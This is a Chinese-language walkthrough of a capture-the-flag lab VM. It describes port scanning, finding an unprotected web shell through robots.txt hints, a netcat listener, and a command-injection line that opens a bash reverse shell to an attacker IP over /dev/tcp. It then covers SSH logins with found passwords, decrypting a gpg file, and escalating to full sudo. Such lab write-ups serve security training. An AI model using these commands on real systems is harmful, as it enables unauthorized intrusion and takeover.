vmware打开靶机,设置nat模式,查看MAC地址
端口扫描,主机发现
查看开放的全端口
发现25468是ssh端口
浏览器访问80端口
分别点击页面上的功能点
查看 News
根据描述,这是一个学校的内部网站,并且为了防止黑客,设置了只能在内部访问,禁止外部登录
点击 Contact Us页面
是一些员工的电话和email
当我们访问登录页面时 提示已禁止外部登录
f12查看源码
是来自Bob的留言,给出了一封信,教我们获取一个可以使用的 webshell
这个访问一下 /robots.txt 看看该网站有哪些配置文件
发现一些接口
访问 /passwords.html
Bob留言说已经将这个页面移走了
访问/lat_memo.html
还是Bob的信息,通知说服务器上有一个没有受保护的 web shell
访问 /dev_shell.php
是一个可以执行命令的页面
攻击机开启监听
nc -lvvp 8888
利用命令执行反弹shell
whoami & echo "bash -i >& /dev/tcp/192.168.153.133/8888 0>&1" | bash
查看home下的文件
在/home/bob下找到.old_passwordfile.html文件
查看内容
发现了 jc ,seb的密码
ssh连接
ssh jc@192.168.153.142 -p 25468
进入/home/bob/Documents目录,发现一个目录两个文件
查看staff.txt
大概是Bob对一些员工的看法
解密 login.txt.gpg 文件
需要密码
再次查看目录,寻找密码
最后发现 notes.sh 文件中每段话的首字母连起来就是密码 HARPOCRATES
解密后发现Bob用户的密码 b0bcat_
sshdl到Bob用户
sudo -l 查看可执行文件
所有命令都可执行